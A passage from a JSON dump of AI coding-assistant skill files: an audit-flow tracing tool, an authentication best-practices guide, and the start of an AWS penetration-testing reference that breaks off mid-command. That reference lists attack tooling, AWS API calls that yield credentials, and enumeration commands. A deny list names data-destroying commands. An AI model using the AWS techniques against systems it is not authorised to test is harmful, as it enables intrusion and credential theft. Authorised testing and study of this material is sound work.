end\n\n    subgraph Analytics Service\n        H[POST /analytics/query]\n        I[OLAP Engine]\n    end\n\n    A -->|TRIGGERS| B\n    B -->|VALIDATES| C\n    C -->|TRIGGERS| D\n    D -->|READS| F\n    D -->|READS| G\n    D -->|TRIGGERS| E\n    E -->|TRIGGERS| H\n    H -->|READS| I\n    I -->|TRANSFORMS| M\n```\n\n---\n\n## Case 3: Flow Ideation (Design New Feature)\n\n```\n> /audit-flow start\nName: export-feature-design\nPurpose: ideation\nGranularity: coarse\n\n> /audit-flow flow csv-export\nEntry: \"User clicks Export to CSV on results\"\n```\n\n### Sketched Flow (no code yet)\n\n```\n[CODE]    export button click     → ExportButton component (to create)\n[API]     POST /api/export        → new endpoint needed\n[AUTH]    check export permission → new permission type?\n[DATA]    fetch cached results    → from Redis? or re-query?\n[CODE]    CSV formatter           → new util function\n[NETWORK] stream file download    → chunked response\n[CODE]    browser download trigger→ blob URL\n```\n\n### Ideation Questions (record as notes)\n\nAdd these as `notes` on relevant tuples:\n\n| Tuple                         | Question                                                   |\n| ----------------------------- | ---------------------------------------------------------- |\n| DATA: fetch cached results    | Cache strategy: Redis TTL? Re-query for freshness?         |\n| API: POST /api/export         | Rate limit exports? Per-user? Per-project?                 |\n| AUTH: check export permission | New permission: `project:export`? Or reuse `project:read`? |\n| NETWORK: stream file download | Large results: stream or paginate? Memory limits?          |\n| CODE: CSV formatter           | Support other formats? xlsx, json, parquet?                |\n\n### Design Decisions to Document\n\nAfter ideation, convert key decisions to implementation notes:\n\n```sql\nUPDATE tuples SET props = json_set(props, '$.decision', 'Use Redis with 15min TTL, re-query if expired')\nWHERE id = 4;\n\nUPDATE tuples SET props = json_set(props, '$.decision', 'Stream results, 10MB max per export')\nWHERE id = 6;\n```\n\n---\n\n## Static Analysis Guidelines\n\n**Code reading only. No runtime instrumentation.**\n\n### What to Follow\n\n- Import statements (module dependencies)\n- Function calls (especially cross-service)\n- API client invocations (fetch, axios, http clients)\n- Auth middleware chains (decorators, middleware arrays)\n- Data transformations (serializers, formatters)\n\n### Security Patterns to Flag\n\n| Pattern                             | Risk                | Severity |\n| ----------------------------------- | ------------------- | -------- |\n| `console.log(token)`                | Token leakage       | critical |\n| `localStorage.setItem('token',...)` | XSS vulnerability   | high     |\n| String concatenation in SQL         | SQL injection       | critical |\n| `dangerouslySetInnerHTML`           | XSS                 | high     |\n| Missing auth middleware             | Auth bypass         | critical |\n| Hardcoded secrets                   | Credential exposure | critical |\n| `eval()`, `new Function()`          | Code injection      | critical |\n","isInternal":false,"tokens":2532,"sizeBytes":10382},{"name":"SKILL.md","path":"skills/audit-flow/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/audit-flow/SKILL.md","title":"audit-flow","category":"anthropic-skill","format":"markdown","content":"---\nname: audit-flow\ndescription: Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance documentation, flow tracing, feature ideation, brainstorming, debugging, architecture reviews, or incident post-mortems. Triggers on audit, trace flow, document flow, security review, debug flow, brainstorm, architecture review, post-mortem, incident review.\nlicense: MIT\ncompatibility: Requires Python 3.8+ (stdlib only, zero dependencies). Optional pyyaml for YAML export. Git for merge/diff driver features.\nmetadata:\n  author: ArunJRK\n  version: \"1.0.0\"\n---\n\n## ⚠️ MANDATORY ENTRY POINT — Execute Before ANY Other Action\n\n**Step 1: Read schema.sql**\n\n```bash\n# ALWAYS read the schema first to understand tables, constraints, views\ncat .claude/skills/audit-flow/schema.sql\n```\n\n**Step 2: Check if DB exists — NEVER recreate**\n\n```bash\n# Check for existing database\nls -la .audit/audit.db 2>/dev/null && echo \"DB EXISTS - DO NOT RECREATE\" || echo \"No DB - safe to init\"\n```\n\n**Step 3: If DB exists, show current state**\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py list\n```\n\n### 🚫 FORBIDDEN ACTIONS\n\n| Action                                                | Why Forbidden            |\n| ----------------------------------------------------- | ------------------------ |\n| `rm .audit/audit.db`                                  | Destroys audit history   |\n| `audit.py init` when DB exists                        | Overwrites existing data |\n| `DROP TABLE`                                          | Destroys audit history   |\n| `sqlite3 .audit/audit.db < schema.sql` when DB exists | Overwrites existing data |\n\n**Rule:** If `.audit/audit.db` exists, ONLY use `audit.py list`, `show`, `export`, or INSERT operations. NEVER recreate.\n\n---\n\n# Audit Flow\n\nInteractive tracing of system flows with SQLite persistence. Supports multiple named flows per session, non-linear flows (branching/merging), and multi-format exports.\n\n## Organization Principles\n\n**Directory structure by purpose:**\n\n- **Audits/Documentation/Compliance:** `docs/audits/{name}-{YYYY-MM-DD}/`\n- **Ideation/Brainstorming:** `docs/ideation/{name}-{YYYY-MM-DD}.md` (single file, no subdirectory unless artifacts needed)\n- **Debugging/Incident Review:** `docs/audits/{name}-{YYYY-MM-DD}/` (same as audits — captures evidence)\n- **Architecture Review:** `docs/audits/{name}-{YYYY-MM-DD}/` (same as audits — captures structural analysis)\n\n**Required files:**\n\n- INDEX.md (manifest, entry point)\n- README.md (executive summary)\n- {name}-audit.md (flow trace)\n\n**Lazy initialization:** Create subdirectories only when artifacts exist\n\n- `screenshots/` `network-traces/` `diagrams/` `code-samples/` `test-results/` `evidence/`\n\n**Naming:** `{audit-name}-{type}.md`\n\n## DB-First Discipline\n\n**Invariant:** SQLite = sole source of truth. Context window: volatile, compacts without notice, hallucinates state.\n\n**🚨 CRITICAL: NEVER DESTROY EXISTING DATA**\n\n- If `.audit/audit.db` exists → it contains irreplaceable audit history\n- NEVER run `init` when DB exists — use `list` to see what's there\n- NEVER delete, drop, or recreate — only append\n\n**Constraints:**\n\n| Operation   | Rule                                                                                      | Blocked rationalization              |\n| ----------- | ----------------------------------------------------------------------------------------- | ------------------------------------ |\n| **Entry**   | Read `schema.sql` FIRST, check if DB exists SECOND                                        | \"I'll just start working\"            |\n| **Init**    | ONLY if `.audit/audit.db` does NOT exist                                                  | \"Let me reinitialize to start fresh\" |\n| Schema      | Read `schema.sql` BEFORE any SQLite command — understand tables, constraints, views first | \"I know the schema from context\"     |\n| Write       | INSERT each tuple/edge/finding before moving to the next code location                    | \"I'll batch-insert at the end\"       |\n| Read        | SELECT from DB before referencing tuple IDs, counts, or flow structure                    | \"I remember the flow so far\"         |\n| Export      | `audit.py export` only — never generate mermaid/markdown from context                     | \"Let me generate mermaid directly\"   |\n| Resume      | `audit.py show <session>` before any operation that references prior tuples               | \"I have the full trace in context\"   |\n| Reference   | Query tuple IDs from DB — IDs are DB-assigned, never inferred                             | \"The tuple ID should be N\"           |\n| **Default** | **When uncertain of flow state → query DB before proceeding**                             | _(any unlisted rationalization)_     |\n\n**Checkpoint:** Every 5 tuples → `audit.py show <session> <flow>`\n\n---\n\n## Interactive Workflow - ALWAYS ASK USER\n\n### 1. Session Start - Ask:\n\n```\nName: ___\nPurpose: security-audit | documentation | compliance | ideation | brainstorming | debugging | architecture-review | incident-review\nDescription: ___ (optional)\n```\n\nInitialize directory immediately. Lazily create subdirectories when artifacts are generated.\n\n### 2. Granularity - Ask:\n\n```\n[fine]   Function-level trace (~50-200 tuples)\n         Use: Security audits, debugging\n\n[coarse] Boundary-level trace (~10-30 tuples)\n         Use: Documentation, high-level flows\n\nChoose: fine / coarse\n```\n\n### 3. During Trace:\n\nAsk at decision points: trace deeper? mark concern? add finding (severity)? note?\n\n### 4. On Export:\n\nAsk format: `json | yaml | md | mermaid | all`\n\nPost-export: Generate INDEX.md manifest. Organize artifacts by type. Prune empty directories.\n\n## Quick Reference\n\n| Command                              | Purpose                                        |\n| ------------------------------------ | ---------------------------------------------- |\n| `/audit-flow start`                  | New session (name, purpose, granularity)       |\n| `/audit-flow flow {name}`            | Add new flow to session                        |\n| `/audit-flow add {layer} {desc}`     | Add tuple to current flow                      |\n| `/audit-flow link {from} {to} {rel}` | Create edge (supports conditions for branches) |\n| `/audit-flow finding {desc}`         | Record finding                                 |\n| `/audit-flow show`                   | View session/flow details                      |\n| `/audit-flow export`                 | Export (json/yaml/md/mermaid)                  |\n| `/audit-flow git-setup`              | Configure git merge/diff drivers (once)        |\n\n**Layers:** `CODE` | `API` | `NETWORK` | `AUTH` | `DATA`\n\n**Relations:** `TRIGGERS` | `READS` | `WRITES` | `VALIDATES` | `TRANSFORMS` | `BRANCHES` | `MERGES`\n\n## Semantic Rules for Relations\n\n| Relation     | Meaning                      | Use When                                      | NOT For                       |\n| ------------ | ---------------------------- | --------------------------------------------- | ----------------------------- |\n| `TRIGGERS`   | A causes B to execute        | Function calls, event handlers, HTTP requests | Static observations           |\n| `READS`      | A consumes data from B       | Cookie reads, DB queries, config lookups      | Mutations                     |\n| `WRITES`     | A mutates data in B          | Cookie writes, DB inserts, state updates      | Read-only access              |\n| `VALIDATES`  | A checks/verifies B          | Auth checks, input validation, expiry checks  | Chaining analyst observations |\n| `TRANSFORMS` | A converts/maps data for B   | Token exchange, response formatting           | Unrelated processing          |\n| `BRANCHES`   | A has conditional paths      | if/else, switch, error vs success             | **Must have condition label** |\n| `MERGES`     | Multiple paths converge at B | Parallel paths rejoin, error recovery         | Single-path flow              |\n\n**CRITICAL: BRANCHES Must Have Conditions.** Every BRANCHES edge requires a `condition` describing which path. Example: `BRANCHES [token expired]` vs `BRANCHES [token valid]`.\n\n## Observations vs Flow Steps\n\n**Flow steps** = things the SYSTEM DOES (function calls, data reads, network requests). Verified by tracing code.\n\n**Observations** = things the ANALYST NOTES (missing features, potential risks). Record as **findings**, not tuples.\n\n**Wrong pattern:**\n\n```\nT50 \"NO cross-tab sync\"       ← observation, not a system action\nT51 \"React state NOT shared\"  ← observation\nT50 --VALIDATES--> T51         ← chaining observations as flow\n```\n\n**Correct pattern:**\n\n```sql\n-- Record as finding instead:\nINSERT INTO findings (flow_id, session_id, severity, category, description)\nVALUES (?, ?, 'medium', 'state-management',\n        'No cross-tab sync: React state not shared across tabs');\n```\n\n**Rule:** NEVER chain observations with VALIDATES. If describing what the system DOESN'T do, use a finding.\n\n## Data Model\n\n```\nSession (audit container)\n  └── Flow (named DAG with entry point)\n       └── Tuple (node: layer + action + subject)\n            └── Edge (relation + optional condition)\n```\n\n## Storage & CLI\n\n```bash\n# Core\npython .claude/skills/audit-flow/scripts/audit.py init              # Initialize DB\npython .claude/skills/audit-flow/scripts/audit.py list              # List sessions\npython .claude/skills/audit-flow/scripts/audit.py show <session>    # Show flows\npython .claude/skills/audit-flow/scripts/audit.py show <session> <flow>  # Show flow details\npython .claude/skills/audit-flow/scripts/audit.py export <session>  # Export all\npython .claude/skills/audit-flow/scripts/audit.py export <session> -f <flow>  # Export one flow\npython .claude/skills/audit-flow/scripts/audit.py validate <session>         # Validate flows\n\n# Git integration\npython .claude/skills/audit-flow/scripts/audit.py git-setup         # Configure merge/diff drivers (once)\npython .claude/skills/audit-flow/scripts/audit.py db-merge %O %A %B # Git merge driver (auto-called)\n\n# CSV backup/portability (optional)\npython .claude/skills/audit-flow/scripts/audit.py csv-export               # DB → .audit/csv/*.csv\npython .claude/skills/audit-flow/scripts/audit.py csv-import               # .audit/csv/*.csv → DB\npython .claude/skills/audit-flow/scripts/audit.py csv-merge <theirs_dir>   # Merge two CSV sets\n```\n\n## Non-Linear Flows\n\n**Branching:** One tuple → multiple outgoing edges with conditions\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation, condition)\nVALUES (5, 6, 'BRANCHES', 'token valid'),\n       (5, 7, 'BRANCHES', 'token expired');\n```\n\n**Merging:** Multiple tuples → one tuple\n\n```sql\nINSERT INTO edges (from_tuple, to_tuple, relation)\nVALUES (6, 8, 'TRIGGERS'),\n       (9, 8, 'MERGES');  -- refresh path merges back\n```\n\n## Files\n\n- [scripts/audit.py](scripts/audit.py) - CLI for all commands (init, list, show, export, validate, db-merge, git-setup, csv-\\*)\n- [COMMANDS.md](COMMANDS.md) - Detailed SQL reference\n- [EXAMPLES.md](EXAMPLES.md) - Full examples with non-linear flows\n- [schema.sql](schema.sql) - Database schema\n- `.gitattributes` - Git merge/diff driver config for audit.db\n\n## Git Context\n\nCapture on session start: commit hash, branch, working tree status. Include in all exports.\n\n## Mermaid Validation\n\nRun `python .claude/skills/audit-flow/scripts/audit.py validate <session>` before export.\n\n| Check                      | Severity | Description                                     |\n| -------------------------- | -------- | ----------------------------------------------- |\n| BRANCHES without condition | ERROR    | Every BRANCHES edge needs a condition label     |\n| Node count >= 60           | ERROR    | Split into sub-flows                            |\n| Node count >= 40           | WARN     | Consider splitting                              |\n| Orphan nodes               | WARN     | Node with no edges (disconnected)               |\n| Duplicate labels           | WARN     | Same action text without subject disambiguation |\n| No entry point             | WARN     | All nodes have incoming edges                   |\n\n**Post-export features (automatic):**\n\n- **Step numbers**: BFS topological order from entry point (`1. action`, `2. action`)\n- **Entry point**: Stadium shape with green styling\n- **Edge arrows**: `-->` solid (TRIGGERS/VALIDATES/TRANSFORMS/BRANCHES/MERGES), `-.->` dotted (READS), `==>` thick (WRITES)\n- **Observations**: Separated into dashed-border OBSERVATIONS subgraph\n- **Direction**: `--direction LR` flag for horizontal layouts\n\n## Diagram Readability Requirements\n\n**All diagrams MUST be produced by `audit.py export`.** Never hand-craft mermaid. The exporter enforces:\n\n1. **Entry point marker** — Green stadium-shape node `([label]):::entryPoint`\n2. **Step numbers** — BFS topological order: `1. action`, `2. action`, `3. action`\n3. **Legend block** — classDef styles for entryPoint, concern, observation\n4. **Observation separation** — Concern-only chains go to OBSERVATIONS subgraph, not main flow\n5. **Label safety** — HTML entities for `()`, `\"\"`, `<>`, `|`, `[]` characters (auto-sanitized)\n\n**Reading flow must be obvious.** A reader opening the diagram cold must immediately see:\n\n- WHERE to start (green entry node)\n- WHAT ORDER to read (step numbers)\n- WHICH PATH is happy vs error (branch conditions on edges)\n- WHAT THE COLORS MEAN (legend)\n\n**Node label rules:**\n\n- Use concrete nouns/verbs: `handleCallback()`, `exchangeCodeForTokens()`\n- NOT bare verbs: ~~\"Configure\"~~, ~~\"Select\"~~, ~~\"Enable\"~~\n- Disambiguate duplicates: auto-suffixed with subject when action repeats\n\n**Size limits:**\n\n- 40+ nodes → warning, consider splitting\n- 60+ nodes → error, MUST split into sub-flows\n- If flow has 5+ independent sub-flows → split by purpose\n\n---\n\n## Git Workflow — Custom Merge Driver\n\n**Problem:** SQLite is binary — `git merge` can't auto-resolve `.audit/audit.db`.\n\n**Solution:** Custom git merge driver. `audit.db` stays in git (small, single file). On conflict, git calls `audit.py db-merge` to auto-merge using SQL.\n\n### One-Time Setup\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py git-setup\n```\n\nThis configures (in `.git/config`):\n\n- **Merge driver:** `merge.sqlite-audit` — calls `audit.py db-merge %O %A %B` on conflict\n- **Diff driver:** `diff.sqlite` — `sqlite3 .dump` for readable `git diff` output\n\nAlso requires `.gitattributes` (already in repo):\n\n```\n.audit/audit.db diff=sqlite merge=sqlite-audit\n```\n\n### How It Works\n\n1. You commit `audit.db` normally — `git add .audit/audit.db && git commit`\n2. `git diff` shows SQL text (via textconv)\n3. On `git merge` with conflict → git calls the merge driver automatically\n4. Driver opens both DBs, merges sessions by name (later `updated_at` wins), remaps IDs\n5. Result written to ours — merge completes cleanly\n\n### Merge Strategy\n\n| Table    | Merge Key                               | Conflict Resolution               |\n| -------- | --------------------------------------- | --------------------------------- |\n| sessions | `name` (unique)                         | Keep later `updated_at`           |\n| flows    | `(session_name, flow_name)`             | Follow parent session winner      |\n| tuples   | Parent flow                             | All tuples from winning flow kept |\n| edges    | Both endpoint tuples                    | Kept if both endpoints survive    |\n| findings | `(session_name, category, description)` | Dedup by content                  |\n\nAll INTEGER PKs remapped sequentially. Foreign keys updated.\n\n### CSV Backup (Optional)\n\nCSV export/import still available for portability and backup:\n\n```bash\npython .claude/skills/audit-flow/scripts/audit.py csv-export   # DB → .audit/csv/*.csv (QUOTE_ALL)\npython .claude/skills/audit-flow/scripts/audit.py csv-import   # CSV → DB (recreates from scratch)\n```\n\n---\n\n## Output Quality\n\n**Principles:**\n\n- ASCII sequence diagrams for complex flows\n- Side-by-side tables for alternatives\n- Real code from traced files with `file:line` references\n- What/Why/Example pattern\n- No generic templates\n\n## Completion Checklist\n\n- [ ] Directory exists with ISO date suffix\n- [ ] INDEX.md manifest generated\n- [ ] README.md (executive summary)\n- [ ] Naming convention: `{name}-{type}.md`\n- [ ] Artifacts in typed subdirectories (lazy init)\n- [ ] Git context captured\n- [ ] Git merge driver configured (`audit.py git-setup`)\n- [ ] No orphaned files\n- [ ] Diagrams pass `audit.py validate`\n\n## Anti-Patterns\n\nFlat structure, empty directories, orphan nodes, unlabeled branches, generic identifiers, missing git context, no manifest, hand-crafted mermaid, bare-verb labels.\n","frontmatter":{"name":"audit-flow","description":"Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export. Use for security audits, compliance documentation, flow tracing, feature ideation, brainstorming, debugging, architecture reviews, or incident post-mortems. Triggers on audit, trace flow, document flow, security review, debug flow, brainstorm, architecture review, post-mortem, incident review.","license":"MIT","compatibility":"Requires Python 3.8+ (stdlib only, zero dependencies). Optional pyyaml for YAML export. Git for merge/diff driver features.","metadata":{"author":"ArunJRK","version":"1.0.0"}},"isInternal":false,"tokens":3866,"sizeBytes":16824},{"name":"SKILL.md","path":"skills/authentication-patterns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/authentication-patterns/SKILL.md","title":"authentication-patterns","category":"anthropic-skill","format":"markdown","content":"---\nname: authentication-patterns\ndescription: \"Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use when implementing auth, reviewing auth flows, or choosing auth providers.\"\n---\n\n# Authentication Patterns Skill\n\nReference for implementing secure, production-ready authentication.\n\n## WHEN_TO_USE\n\nApply this skill when implementing authentication in a project, reviewing existing auth flows for security issues, choosing between auth providers, or migrating between auth strategies. Use the security checklist before shipping any auth-related change.\n\n## AUTH_APPROACHES\n\n| Approach | How It Works | Best For | Drawbacks |\n|----------|-------------|----------|-----------|\n| Session-based | Server stores session in DB/Redis, client holds session ID cookie | Traditional server-rendered apps, apps needing instant revocation | Requires server-side storage, harder to scale horizontally without shared store |\n| JWT (stateless) | Server signs token, client sends it on each request | API-first apps, microservices, mobile clients | Cannot revoke without blocklist, token size grows with claims |\n| OAuth 2.0 / OIDC | Delegates auth to external provider (Google, GitHub, etc.) | Social login, enterprise SSO, reducing auth responsibility | More complex flow, depends on external provider availability |\n| Passkeys / WebAuthn | Cryptographic key pair, no passwords | High-security apps, passwordless UX | Limited browser support legacy, user education needed |\n\n### Decision Guide\n\n- **Server-rendered app with simple needs** → Session-based\n- **SPA or mobile app calling APIs** → JWT with refresh token rotation\n- **Want social login or SSO** → OAuth 2.0 / OIDC\n- **Greenfield with modern UX goals** → Passkeys + OAuth fallback\n\n## JWT_BEST_PRACTICES\n\n### Token Lifecycle\n\n```\nLogin → Access Token (short-lived) + Refresh Token (long-lived, rotated)\n  │\n  ├─ Access Token: 15 min expiry, sent via httpOnly cookie or Authorization header\n  │\n  └─ Refresh Token: 7-30 day expiry, stored in httpOnly secure cookie\n       │\n       └─ On use: issue new access + new refresh token, invalidate old refresh token\n```\n\n### Rules\n\n- [P0-MUST] Set short expiry on access tokens (15 minutes or less).\n- [P0-MUST] Store tokens in `httpOnly`, `Secure`, `SameSite=Lax` cookies — never in `localStorage` or `sessionStorage`.\n- [P0-MUST] Implement refresh token rotation — each refresh token is single-use.\n- [P0-MUST] Maintain a server-side blocklist for revoked refresh tokens.\n- [P1-SHOULD] Include only essential claims in JWT payload (sub, iat, exp, role). Keep it small.\n- [P1-SHOULD] Use asymmetric signing (RS256 or ES256) for distributed systems; symmetric (HS256) for single-service only.\n- [P1-SHOULD] Validate `iss`, `aud`, and `exp` claims on every request.\n- [P2-MAY] Use JWE (encrypted JWT) when token payload contains sensitive data.\n\n### Token Storage Comparison\n\n| Storage | XSS Safe | CSRF Safe | Recommendation |\n|---------|----------|-----------|----------------|\n| `httpOnly` cookie | Yes | No (needs CSRF token) | Recommended |\n| `localStorage` | No | Yes | Never use for auth tokens |\n| `sessionStorage` | No | Yes | Never use for auth tokens |\n| In-memory (JS variable) | Yes | Yes | OK for SPAs, lost on refresh |\n\n## PROVIDER_PATTERNS\n\n### Comparison\n\n| Provider | Type | Best For | Pricing | Key Features |\n|----------|------|----------|---------|-------------|\n| NextAuth / Auth.js | OSS library | Next.js apps wanting full control | Free | 80+ providers, DB adapters, self-hosted |\n| Clerk | Managed service | Fast launch, pre-built UI, user management | Free tier, then per-MAU | Drop-in components, user dashboard, org support |\n| Supabase Auth | Managed (part of Supabase) | Apps already using Supabase for DB/storage | Free tier, then per-MAU | Row-level security integration, magic links, SSO |\n| Lucia | OSS library | Full control, minimal abstraction | Free | Session-based, framework-agnostic, type-safe |\n\n### When to Use Each\n\n- **NextAuth / Auth.js**: You want provider flexibility, self-hosting, and database session control. Best when you need custom flows.\n- **Clerk**: You want auth done fast with pre-built UI components. Best for MVPs and teams that don't want to build auth UI.\n- **Supabase Auth**: You're already using Supabase. Auth integrates with RLS policies for row-level security.\n- **Lucia**: You want a minimal, type-safe session library without framework lock-in.\n\n### NextAuth.js Setup Pattern\n\n```typescript\n// app/api/auth/[...nextauth]/route.ts\nimport NextAuth from \"next-auth\";\nimport GitHub from \"next-auth/providers/github\";\nimport { PrismaAdapter } from \"@auth/prisma-adapter\";\nimport { prisma } from \"@/lib/prisma\";\n\nexport const { handlers, auth, signIn, signOut } = NextAuth({\n  adapter: PrismaAdapter(prisma),\n  providers: [\n    GitHub({\n      clientId: process.env.GITHUB_CLIENT_ID!,\n      clientSecret: process.env.GITHUB_CLIENT_SECRET!,\n    }),\n  ],\n  callbacks: {\n    session({ session, user }) {\n      session.user.id = user.id;\n      return session;\n    },\n  },\n});\n```\n\n## SECURITY_CHECKLIST\n\n### Before Shipping Auth\n\n- [ ] **Rate limiting**: Login endpoint limited to 5-10 attempts per minute per IP.\n- [ ] **CSRF protection**: Anti-CSRF tokens on all state-changing requests (or use `SameSite=Lax` cookies).\n- [ ] **Password hashing**: Using bcrypt (cost 12+) or argon2id — never MD5, SHA-1, or plain SHA-256.\n- [ ] **HTTPS only**: All auth endpoints served over TLS. Cookies have `Secure` flag.\n- [ ] **Input validation**: Email format, password length (min 8, max 128), no SQL/NoSQL injection vectors.\n- [ ] **Account enumeration**: Login and registration return the same response whether account exists or not.\n- [ ] **Session invalidation**: Logout invalidates server-side session/refresh token, not just client cookie.\n- [ ] **MFA support**: TOTP (authenticator app) or WebAuthn as second factor for sensitive accounts.\n- [ ] **Password reset**: Time-limited tokens (1 hour), single-use, sent over secure channel.\n- [ ] **Audit logging**: Log auth events (login, logout, failed attempts, password changes) with timestamp and IP.\n\n### Password Hashing\n\n```typescript\n// Using bcrypt\nimport bcrypt from \"bcrypt\";\n\nconst SALT_ROUNDS = 12;\n\nasync function hashPassword(password: string): Promise<string> {\n  return bcrypt.hash(password, SALT_ROUNDS);\n}\n\nasync function verifyPassword(password: string, hash: string): Promise<boolean> {\n  return bcrypt.compare(password, hash);\n}\n```\n\n```typescript\n// Using argon2 (preferred for new projects)\nimport argon2 from \"argon2\";\n\nasync function hashPassword(password: string): Promise<string> {\n  return argon2.hash(password, { type: argon2.argon2id });\n}\n\nasync function verifyPassword(hash: string, password: string): Promise<boolean> {\n  return argon2.verify(hash, password);\n}\n```\n\n## COMMON_MISTAKES\n\n| Mistake | Risk | Fix |\n|---------|------|-----|\n| Storing JWT in `localStorage` | XSS can steal tokens | Use `httpOnly` cookies |\n| Long-lived JWTs (days/weeks) | Stolen token is valid for extended period | 15 min access token + refresh rotation |\n| Missing CSRF protection | Attackers can forge requests from other sites | `SameSite=Lax` cookies + CSRF token |\n| Weak password requirements | Brute force and credential stuffing | Min 8 chars, check against breached password lists |\n| Exposing user existence on login | Account enumeration | Generic \"Invalid credentials\" message |\n| Not rotating refresh tokens | Stolen refresh token grants indefinite access | Single-use refresh tokens with rotation |\n| Hardcoding secrets in source | Credential leak via git history | Use environment variables, never commit secrets |\n| Missing rate limiting on login | Brute force attacks | 5-10 attempts/min per IP, exponential backoff |\n| Rolling your own crypto | Subtle vulnerabilities | Use established libraries (bcrypt, argon2, jose) |\n| Not validating JWT claims | Token misuse across services | Always verify `iss`, `aud`, `exp` |\n","frontmatter":{"name":"authentication-patterns","description":"Authentication patterns: session vs JWT vs OAuth comparison, provider selection (NextAuth, Clerk, Supabase Auth), security checklist, and common mistakes. Use when implementing auth, reviewing auth flows, or choosing auth providers."},"isInternal":false,"tokens":1879,"sizeBytes":8083},{"name":"advanced-aws-pentesting.md","path":"skills/aws-penetration-testing/references/advanced-aws-pentesting.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/aws-penetration-testing/references/advanced-aws-pentesting.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Advanced AWS Penetration Testing Reference\r\n\r\n## Table of Contents\r\n- [Training Resources](#training-resources)\r\n- [Extended Tools Arsenal](#extended-tools-arsenal)\r\n- [AWS API Calls That Return Credentials](#aws-api-calls-that-return-credentials)\r\n- [Lambda & API Gateway](#lambda--api-gateway)\r\n- [Secrets Manager & KMS](#secrets-manager--kms)\r\n- [Container Security (ECS/EKS/ECR)](#container-security-ecseksecr)\r\n- [RDS Database Exploitation](#rds-database-exploitation)\r\n- [DynamoDB Exploitation](#dynamodb-exploitation)\r\n- [VPC Enumeration & Lateral Movement](#vpc-enumeration--lateral-movement)\r\n- [Security Checklist](#security-checklist)\r\n\r\n---\r\n\r\n## Training Resources\r\n\r\n| Resource | Description | URL |\r\n|----------|-------------|-----|\r\n| AWSGoat | Damn Vulnerable AWS Infrastructure | github.com/ine-labs/AWSGoat |\r\n| Cloudgoat | AWS CTF-style scenario | github.com/RhinoSecurityLabs/cloudgoat |\r\n| Flaws | AWS security challenge | flaws.cloud |\r\n| SadCloud | Terraform for vuln AWS | github.com/nccgroup/sadcloud |\r\n| DVCA | Vulnerable Cloud App | medium.com/poka-techblog |\r\n\r\n---\r\n\r\n## Extended Tools Arsenal\r\n\r\n### weirdAAL - AWS Attack Library\r\n```bash\r\npython3 weirdAAL.py -m ec2_describe_instances -t demo\r\npython3 weirdAAL.py -m lambda_get_account_settings -t demo\r\npython3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2'\r\n```\r\n\r\n### cloudmapper - AWS Environment Analyzer\r\n```bash\r\ngit clone https://github.com/duo-labs/cloudmapper.git\r\npipenv install --skip-lock\r\npipenv shell\r\n\r\n# Commands\r\nreport     # Generate HTML report\r\niam_report # IAM-specific report\r\naudit      # Check misconfigurations\r\ncollect    # Collect account metadata\r\nfind_admins # Identify admin users/roles\r\n```\r\n\r\n### cloudsplaining - IAM Security Assessment\r\n```bash\r\npip3 install --user cloudsplaining\r\ncloudsplaining download --profile myawsprofile\r\ncloudsplaining scan --input-file default.json\r\n```\r\n\r\n### s3_objects_check - S3 Object Permissions\r\n```bash\r\ngit clone https://github.com/nccgroup/s3_objects_check\r\npython s3-objects-check.py -p whitebox-profile -e blackbox-profile\r\n```\r\n\r\n### dufflebag - Find EBS Secrets\r\n```bash\r\n# Finds secrets exposed via Amazon EBS's \"public\" mode\r\ngit clone https://github.com/BishopFox/dufflebag\r\n```\r\n\r\n---\r\n\r\n## AWS API Calls That Return Credentials\r\n\r\n| API Call | Description |\r\n|----------|-------------|\r\n| `chime:createapikey` | Create API key |\r\n| `codepipeline:pollforjobs` | Poll for jobs |\r\n| `cognito-identity:getopenidtoken` | Get OpenID token |\r\n| `cognito-identity:getcredentialsforidentity` | Get identity credentials |\r\n| `connect:getfederationtoken` | Get federation token |\r\n| `ecr:getauthorizationtoken` | ECR auth token |\r\n| `gamelift:requestuploadcredentials` | GameLift upload creds |\r\n| `iam:createaccesskey` | Create access key |\r\n| `iam:createloginprofile` | Create login profile |\r\n| `iam:createservicespecificcredential` | Service-specific creds |\r\n| `lightsail:getinstanceaccessdetails` | Instance access details |\r\n| `lightsail:getrelationaldatabasemasteruserpassword` | DB master password |\r\n| `rds-db:connect` | RDS connect |\r\n| `redshift:getclustercredentials` | Redshift credentials |\r\n| `sso:getrolecredentials` | SSO role credentials |\r\n| `sts:assumerole` | Assume role |\r\n| `sts:assumerolewithsaml` | Assume role with SAML |\r\n| `sts:assumerolewithwebidentity` | Web identity assume |\r\n| `sts:getfederationtoken` | Federation token |\r\n| `sts:getsessiontoken` | Session token |\r\n\r\n---\r\n\r\n## Lambda & API Gateway\r\n\r\n### Lambda Enumeration\r\n\r\n```bash\r\n# List all lambda functions\r\naws lambda list-functions\r\n\r\n# Get function details and download code\r\naws lambda get-function --function-name FUNCTION_NAME\r\nwget -O lambda-function.zip \"url-from-previous-query\"\r\n\r\n# Get function policy\r\naws lambda get-policy --function-name FUNCTION_NAME\r\n\r\n# List event source mappings\r\naws lambda list-event-source-mappings --function-name FUNCTION_NAME\r\n\r\n# List Lambda layers (dependencies)\r\naws lambda list-layers\r\naws lambda get-layer-version --layer-name NAME --version-number VERSION\r\n```\r\n\r\n### API Gateway Enumeration\r\n\r\n```bash\r\n# List REST APIs\r\naws apigateway get-rest-apis\r\n\r\n# Get specific API info\r\naws apigateway get-rest-api --rest-api-id ID\r\n\r\n# List endpoints (resources)\r\naws apigateway get-resources --rest-api-id ID\r\n\r\n# Get method info\r\naws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET\r\n\r\n# List API versions (stages)\r\naws apigateway get-stages --rest-api-id ID\r\n\r\n# List API keys\r\naws apigateway get-api-keys 